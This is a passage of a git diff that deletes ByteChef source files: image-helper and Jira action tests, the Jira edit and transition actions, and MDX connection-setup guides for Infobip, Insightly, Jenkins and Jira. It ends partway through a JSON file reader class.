-            imageIOMock.when(() -> ImageIO.getImageWritersByFormatName("png"))
-                .thenReturn(Collections.singletonList(mockedImageWriter)
-                    .iterator());
-
-            imageIOMock.when(() -> ImageIO.createImageOutputStream(any(ByteArrayOutputStream.class)))
-                .thenReturn(mockedImageOutputStream);
-
-            FileEntry result =
-                ImageHelperCompressImageAction.perform(mockedParameters, mockedParameters, mockedContext);
-
-            assertEquals(mockedResultFileEntry, result);
-
-            verify(mockedContextFile).toTempFile(mockedInputFileEntry);
-            verify(mockedContextFile).storeContent(eq("compressedImage.png"), any(InputStream.class));
-            verify(mockedImageWriter).write(any(), any(), eq(mockedImageWriteParam));
-
-            ContextFunction<Context.File, ?> contextFunction = contextFunctionArgumentCaptor.getValue();
-
-            assertEquals(mockedResultFileEntry, contextFunction.apply(mockedContextFile));
-        }
-    }
-}
diff --git a/server/libs/modules/components/image-helper/src/test/java/com/bytechef/component/image/helper/action/ImageHelperGetImageMetadataActionTest.java b/server/libs/modules/components/image-helper/src/test/java/com/bytechef/component/image/helper/action/ImageHelperGetImageMetadataActionTest.java
deleted file mode 100644
index 6c664c78944..00000000000
--- a/server/libs/modules/components/image-helper/src/test/java/com/bytechef/component/image/helper/action/ImageHelperGetImageMetadataActionTest.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.image.helper.action;
-
-import static com.bytechef.component.image.helper.constant.ImageHelperConstants.IMAGE;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.io.File;
-import java.util.Collections;
-import java.util.Map;
-import javax.imageio.ImageIO;
-import javax.imageio.ImageReader;
-import javax.imageio.metadata.IIOMetadata;
-import javax.imageio.stream.ImageInputStream;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-import org.w3c.dom.Node;
-
-/**
- * @author Marija Horvat
- */
-class ImageHelperGetImageMetadataActionTest {
-
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Context.File, ?>> contextFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Context.File mockedContextFile = mock(Context.File.class);
-    private final FileEntry mockedFileEntry = mock(FileEntry.class);
-    private final File mockedFile = mock(File.class);
-    private final IIOMetadata mockedIioMetadata = mock(IIOMetadata.class);
-    private final ImageInputStream mockedImageInputStream = mock(ImageInputStream.class);
-    private final ImageReader mockedImageReader = mock(ImageReader.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(Map.of(IMAGE, mockedFileEntry));
-    private final Node mockedNode = mock(Node.class);
-
-    @Test
-    void testPerform() throws Exception {
-        when(mockedContext.file(contextFunctionArgumentCaptor.capture()))
-            .thenAnswer(invocation -> {
-                ContextFunction<Context.File, ?> function = invocation.getArgument(0);
-
-                return function.apply(mockedContextFile);
-            });
-
-        when(mockedContextFile.toTempFile(mockedFileEntry))
-            .thenReturn(mockedFile);
-
-        try (MockedStatic<ImageIO> imageIOMock = mockStatic(ImageIO.class)) {
-
-            imageIOMock.when(() -> ImageIO.createImageInputStream(mockedFile))
-                .thenReturn(mockedImageInputStream);
-
-            imageIOMock.when(() -> ImageIO.getImageReaders(mockedImageInputStream))
-                .thenReturn(Collections.singletonList(mockedImageReader)
-                    .iterator());
-
-            when(mockedImageReader.getImageMetadata(0))
-                .thenReturn(mockedIioMetadata);
-            when(mockedIioMetadata.getMetadataFormatNames())
-                .thenReturn(new String[] {
-                    "formatA", "formatB"
-                });
-            when(mockedIioMetadata.getAsTree(any()))
-                .thenReturn(mockedNode);
-
-            Map<String, Object> result = ImageHelperGetImageMetadataAction.perform(
-                mockedParameters, any(Parameters.class), mockedContext);
-
-            assertEquals(2, result.size());
-            assertNotNull(result.get("formatA"));
-            assertNotNull(result.get("formatB"));
-
-            verify(mockedContextFile).toTempFile(mockedFileEntry);
-            verify(mockedImageReader).setInput(mockedImageInputStream, true);
-
-            ContextFunction<Context.File, ?> contextFunction = contextFunctionArgumentCaptor.getValue();
-
-            assertEquals(mockedFile, contextFunction.apply(mockedContextFile));
-        }
-    }
-}
diff --git a/server/libs/modules/components/infobip/src/main/resources/connection.mdx b/server/libs/modules/components/infobip/src/main/resources/connection.mdx
deleted file mode 100644
index 67d11d8fe61..00000000000
--- a/server/libs/modules/components/infobip/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-1. Navigate to https://portal.infobip.com/homepage.
-2. Open left sidebar menu.
-3. Expand **Developer Tools** and click on **API Keys**.
-4. Click on **Create api key**.
-5. Fill in the required fields.
-6. Select all needed Scopes.
-7. Click on **CREATE**.
-8. You have your API key.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/7e252985-dce7-48b9-bf79-50e81568ca22?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/insightly/src/main/resources/connection.mdx b/server/libs/modules/components/insightly/src/main/resources/connection.mdx
deleted file mode 100644
index cb95914c22c..00000000000
--- a/server/libs/modules/components/insightly/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,11 +0,0 @@
-## Connection Setup
-
-1. Navigate to your [dashboard](https://www.insightly.com/).
-2. Click this icon.
-3. Click **User Setting**.
-4. Here you can see your API key and URL.
-5. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/7f515ee3-f426-4df3-b8db-ec67e2956fc0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/jenkins/src/main/resources/connection.mdx b/server/libs/modules/components/jenkins/src/main/resources/connection.mdx
deleted file mode 100644
index 8fbad2b9866..00000000000
--- a/server/libs/modules/components/jenkins/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-### Create Jenkins API Token
-
-1. Click on **Manage Jenkins** icon.
-2. Click on **Users**.
-3. Click this icon on the user you want to create the API token for.
-4. Click on **Security**.
-5. Click on **Add new token**.
-6. Enter name of the token and then click on **Generate**.
-7. Copy token, you will not be able to see the whole token again.
-8. Click on **Done**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/152dd033-4f42-4501-88cc-e6a5a4a2d4e2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/jenkins/src/main/resources/newJobStatusNotification.mdx b/server/libs/modules/components/jenkins/src/main/resources/newJobStatusNotification.mdx
deleted file mode 100644
index 7c3ecc202b7..00000000000
--- a/server/libs/modules/components/jenkins/src/main/resources/newJobStatusNotification.mdx
+++ /dev/null
@@ -1,29 +0,0 @@
-## Trigger Setup
-
-### Enable Notification Plugin
-
-1. Click this icon.
-2. Click on **Plugins**.
-3. Click on **Available plugins**.
-4. Search for **notification**.
-5. Click on **Notification** from **Tikal Knowledge**. [Notification plugin link](https://plugins.jenkins.io/notification/)
-6. Click here.
-7. Click on **Install**.
-8. Wait for everything to finish downloading.
-9. Click on **Go back to the top page**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/ef274d47-9a11-4394-afde-2b93679f73b2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-### Trigger URL Setup
-
-1. Select Jenkins job to which you want to connect the trigger to.
-2. Click this **Configure**.
-3. Click on **Add Endpoint**.
-4. Paste Webhook URL. See [Deploy documentation](https://docs.bytechef.io/automation/deploy) on how to get Webhook URL.
-5. Click on **Save**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/41f291bd-ac7c-4cec-af6b-c5922be20ac0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/jira/src/main/java/com/bytechef/component/jira/action/JiraEditIssueAction.java b/server/libs/modules/components/jira/src/main/java/com/bytechef/component/jira/action/JiraEditIssueAction.java
deleted file mode 100644
index 0c0398f1902..00000000000
--- a/server/libs/modules/components/jira/src/main/java/com/bytechef/component/jira/action/JiraEditIssueAction.java
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.jira.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.jira.constant.JiraConstants.ADD;
-import static com.bytechef.component.jira.constant.JiraConstants.ADD_LABELS;
-import static com.bytechef.component.jira.constant.JiraConstants.DESCRIPTION;
-import static com.bytechef.component.jira.constant.JiraConstants.FIELDS;
-import static com.bytechef.component.jira.constant.JiraConstants.ISSUE_ID;
-import static com.bytechef.component.jira.constant.JiraConstants.PROJECT;
-import static com.bytechef.component.jira.constant.JiraConstants.REMOVE;
-import static com.bytechef.component.jira.constant.JiraConstants.REMOVE_LABELS;
-import static com.bytechef.component.jira.constant.JiraConstants.SUMMARY;
-import static com.bytechef.component.jira.constant.JiraConstants.UPDATE;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.jira.util.JiraOptionsUtils;
-import com.bytechef.component.jira.util.JiraUtils;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Ivona Pavela
- */
-public class JiraEditIssueAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("editIssue")
-        .title("Edit Issue")
-        .description("Edits an issue.")
-        .properties(
-            string(PROJECT)
-                .label("Project ID")
-                .description("ID of the project where the issue is located.")
-                .options((OptionsFunction<String>) JiraOptionsUtils::getProjectIdOptions)
-                .required(false),
-            string(ISSUE_ID)
-                .label("Issue ID")
-                .description("ID of the issue.")
-                .options((OptionsFunction<String>) JiraOptionsUtils::getIssueIdOptions)
-                .optionsLookupDependsOn(PROJECT)
-                .required(true),
-            string(SUMMARY)
-                .label("Summary")
-                .description("The summary that will be edited.")
-                .required(false),
-            string(DESCRIPTION)
-                .label("Description")
-                .description("The description that will be edited.")
-                .required(false),
-            array(ADD_LABELS)
-                .label("Add Labels")
-                .description("List of labels that will be added to the issue.")
-                .items(
-                    string()
-                        .label("Label")
-                        .description("Label that will be added to the issue.")
-                        .required(false))
-                .required(false),
-            array(REMOVE_LABELS)
-                .label("Remove Labels")
-                .description("List of labels that will be removed from the issue.")
-                .items(
-                    string()
-                        .label("Label")
-                        .description("Label that will be removed from the issue.")
-                        .required(false))
-                .required(false))
-        .perform(JiraEditIssueAction::perform);
-
-    private JiraEditIssueAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        context.http(http -> http.put("/issue/" + inputParameters.getRequiredString(ISSUE_ID)))
-            .body(
-                Http.Body.of(
-                    FIELDS, createFieldsMap(inputParameters),
-                    UPDATE, Map.of("labels", getLabelsToUpdate(inputParameters))))
-            .configuration(Http.responseType(Http.ResponseType.JSON))
-            .execute();
-
-        return null;
-    }
-
-    private static Map<String, Object> createFieldsMap(Parameters inputParameters) {
-        Map<String, Object> map = new HashMap<>();
-
-        if (inputParameters.getString(SUMMARY) != null) {
-            map.put(SUMMARY, inputParameters.getString(SUMMARY));
-        }
-
-        JiraUtils.addDescriptionField(map, inputParameters.getString(DESCRIPTION));
-
-        return map;
-    }
-
-    private static List<Map<String, Object>> getLabelsToUpdate(Parameters inputParameters) {
-        List<Map<String, Object>> labels = new ArrayList<>();
-
-        labels.addAll(getLabels(ADD, inputParameters.getList(ADD_LABELS, String.class)));
-        labels.addAll(getLabels(REMOVE, inputParameters.getList(REMOVE_LABELS, String.class)));
-
-        return labels;
-    }
-
-    private static List<Map<String, Object>> getLabels(String operation, List<String> labels) {
-        if (labels == null) {
-            return List.of();
-        }
-
-        return labels.stream()
-            .map(label -> Map.<String, Object>of(operation, label))
-            .toList();
-    }
-}
diff --git a/server/libs/modules/components/jira/src/main/java/com/bytechef/component/jira/action/JiraTransitionIssueAction.java b/server/libs/modules/components/jira/src/main/java/com/bytechef/component/jira/action/JiraTransitionIssueAction.java
deleted file mode 100644
index c197826508c..00000000000
--- a/server/libs/modules/components/jira/src/main/java/com/bytechef/component/jira/action/JiraTransitionIssueAction.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.jira.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.jira.constant.JiraConstants.ID;
-import static com.bytechef.component.jira.constant.JiraConstants.ISSUE_ID;
-import static com.bytechef.component.jira.constant.JiraConstants.PROJECT;
-import static com.bytechef.component.jira.constant.JiraConstants.STATUS_ID;
-import static com.bytechef.component.jira.constant.JiraConstants.TRANSITION;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.jira.util.JiraOptionsUtils;
-import java.util.Map;
-
-/**
- * @author Ivona Pavela
- */
-public class JiraTransitionIssueAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("transitionIssue")
-        .title("Transition Issue")
-        .description("Move an issue to another status.")
-        .properties(
-            string(PROJECT)
-                .label("Project ID")
-                .description("ID of the project where the issue is located.")
-                .options((OptionsFunction<String>) JiraOptionsUtils::getProjectIdOptions)
-                .required(false),
-            string(ISSUE_ID)
-                .label("Issue ID")
-                .description("ID of the issue to be assigned.")
-                .options((OptionsFunction<String>) JiraOptionsUtils::getIssueIdOptions)
-                .optionsLookupDependsOn(PROJECT)
-                .required(true),
-            string(STATUS_ID)
-                .label("Status ID")
-                .description("ID of the status you want to put the issue in.")
-                .options((OptionsFunction<String>) JiraOptionsUtils::getStatusIdOptions)
-                .optionsLookupDependsOn(ISSUE_ID)
-                .required(true))
-        .perform(JiraTransitionIssueAction::perform);
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        context.http(http -> http.post("/issue/" + inputParameters.getRequiredString(ISSUE_ID) + "/transitions"))
-            .body(Http.Body.of(Map.of(TRANSITION, Map.of(ID, inputParameters.getRequiredString(STATUS_ID)))))
-            .configuration(Http.responseType(Http.ResponseType.JSON))
-            .execute();
-
-        return null;
-    }
-}
diff --git a/server/libs/modules/components/jira/src/main/resources/connection.mdx b/server/libs/modules/components/jira/src/main/resources/connection.mdx
deleted file mode 100644
index 661ba6c684e..00000000000
--- a/server/libs/modules/components/jira/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,33 +0,0 @@
-## Connection Setup
-
-Follow these steps to connect Jira Cloud to ByteChef using OAuth 2.0.
-
-1. Open the Atlassian Developer Console: https://developer.atlassian.com/console/
-2. Sign in with your Atlassian account (create one if needed).
-3. Click **Create** and choose **OAuth 2.0 integration**.
-4. Enter the app details (e.g., App name: "ByteChef Jira Integration") and accept Atlassian's developer terms, then click **Create**.
-5. Click on **Permissions**.
-6. Find Jira API and click **Add** and then click **Configure**.
-7. Configure permissions (scopes):
-   - In the Permissions tab, add the following scopes required by ByteChef Jira component:
-     - manage:jira-webhook
-     - read:jira-work
-     - write:jira-work
-     - read:jira-user
-   - You can adjust scopes later if your workflows need more/less access.
-
-8. Configure a redirect (callback) URL:
-   - Go to the **Authorization** tab and add the Callback URL:
-        - `https://app.bytechef.io/callback` (Cloud)
-        - `http://127.0.0.1:5173/callback` (Local dev)
-
-9. Retrieve credentials:
-   - Open the **Settings** page of your app and copy the **Client ID** and **Client Secret**.
-
-Notes:
-
-- Jira Cloud only: This connection uses Atlassian Cloud APIs. After consent, ByteChef automatically discovers the correct Jira site base URL.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/F5ZSvN2vE0Hbv1eRg6eM?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/jira/src/test/java/com/bytechef/component/jira/action/JiraEditIssueActionTest.java b/server/libs/modules/components/jira/src/test/java/com/bytechef/component/jira/action/JiraEditIssueActionTest.java
deleted file mode 100644
index 91734053807..00000000000
--- a/server/libs/modules/components/jira/src/test/java/com/bytechef/component/jira/action/JiraEditIssueActionTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.jira.action;
-
-import static com.bytechef.component.jira.constant.JiraConstants.ADD;
-import static com.bytechef.component.jira.constant.JiraConstants.ADD_LABELS;
-import static com.bytechef.component.jira.constant.JiraConstants.DESCRIPTION;
-import static com.bytechef.component.jira.constant.JiraConstants.FIELDS;
-import static com.bytechef.component.jira.constant.JiraConstants.ISSUE_ID;
-import static com.bytechef.component.jira.constant.JiraConstants.PROJECT;
-import static com.bytechef.component.jira.constant.JiraConstants.REMOVE;
-import static com.bytechef.component.jira.constant.JiraConstants.REMOVE_LABELS;
-import static com.bytechef.component.jira.constant.JiraConstants.SUMMARY;
-import static com.bytechef.component.jira.constant.JiraConstants.UPDATE;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.jira.util.JiraUtils;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Ivona Pavela
- */
-class JiraEditIssueActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final ActionContext mockedActionContext = mock(ActionContext.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(
-            PROJECT, "1", ISSUE_ID, "1", SUMMARY, "summary", DESCRIPTION, "description",
-            ADD_LABELS, List.of("test_add_labels"), REMOVE_LABELS, List.of("test_remove_labels")));
-    private final Http.Response mockedResponse = mock(Http.Response.class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedActionContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> httpFunctionArgumentCaptor.getValue()
-                .apply(mockedHttp));
-        when(mockedHttp.put(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-
-        Object result = JiraEditIssueAction.perform(mockedParameters, mockedParameters, mockedActionContext);
-
-        assertNull(result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-
-        Http.Configuration configuration = configurationBuilder.build();
-
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(ResponseType.Type.JSON, responseType.getType());
-        assertEquals("/issue/1", stringArgumentCaptor.getValue());
-
-        Map<String, Object> expectedFields = new HashMap<>();
-
-        expectedFields.put(SUMMARY, "summary");
-        JiraUtils.addDescriptionField(expectedFields, "description");
-
-        Map<String, Object> expectedBody = Map.of(
-            FIELDS, expectedFields,
-            UPDATE, Map.of("labels", List.of(Map.of(ADD, "test_add_labels"), Map.of(REMOVE, "test_remove_labels"))));
-
-        assertEquals(Http.Body.of(expectedBody, Http.BodyContentType.JSON), bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/jira/src/test/java/com/bytechef/component/jira/action/JiraTransitionIssueActionTest.java b/server/libs/modules/components/jira/src/test/java/com/bytechef/component/jira/action/JiraTransitionIssueActionTest.java
deleted file mode 100644
index 9fbf630eb89..00000000000
--- a/server/libs/modules/components/jira/src/test/java/com/bytechef/component/jira/action/JiraTransitionIssueActionTest.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.jira.action;
-
-import static com.bytechef.component.jira.constant.JiraConstants.ID;
-import static com.bytechef.component.jira.constant.JiraConstants.ISSUE_ID;
-import static com.bytechef.component.jira.constant.JiraConstants.PROJECT;
-import static com.bytechef.component.jira.constant.JiraConstants.STATUS_ID;
-import static com.bytechef.component.jira.constant.JiraConstants.TRANSITION;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.ResponseType.Type;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Ivona Pavela
- */
-class JiraTransitionIssueActionTest {
-
-    private final ArgumentCaptor<Http.Body> bodyArgumentCaptor = forClass(Http.Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Http.Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final ActionContext mockedActionContext = mock(ActionContext.class);
-    private final Http.Executor mockedExecutor = mock(Http.Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(PROJECT, "testProject", ISSUE_ID, "testIssue", STATUS_ID, "5"));
-    private final Http.Response mockedResponse = mock(Http.Response.class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedActionContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> httpFunctionArgumentCaptor.getValue()
-                .apply(mockedHttp));
-
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-
-        Object result = JiraTransitionIssueAction.perform(mockedParameters, mockedParameters, mockedActionContext);
-
-        assertNull(result);
-
-        assertEquals("/issue/testIssue/transitions", stringArgumentCaptor.getValue());
-
-        Map<String, Object> expectedBody = Map.of(TRANSITION, Map.of(ID, "5"));
-        assertEquals(Body.of(expectedBody), bodyArgumentCaptor.getValue());
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-
-        Http.Configuration configuration = configurationBuilder.build();
-
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Type.JSON, responseType.getType());
-
-        verify(mockedExecutor).execute();
-    }
-}
diff --git a/server/libs/modules/components/json-file/src/main/java/com/bytechef/component/json/file/datastream/JsonFileItemReader.java b/server/libs/modules/components/json-file/src/main/java/com/bytechef/component/json/file/datastream/JsonFileItemReader.java
deleted file mode 100644
index 377f053c71f..00000000000
--- a/server/libs/modules/components/json-file/src/main/java/com/bytechef/component/json/file/datastream/JsonFileItemReader.java
+++ /dev/null
@@ -1,213 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.json.file.datastream;
-
-import static com.bytechef.component.definition.ComponentDsl.fileEntry;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_ENTRY;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.FILE_TYPE;
-import static com.bytechef.component.json.file.constant.JsonFileConstants.PATH;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ComponentDsl;
-import com.bytechef.component.definition.ComponentDsl.ModifiableClusterElementDefinition;
-import com.bytechef.component.definition.Context;
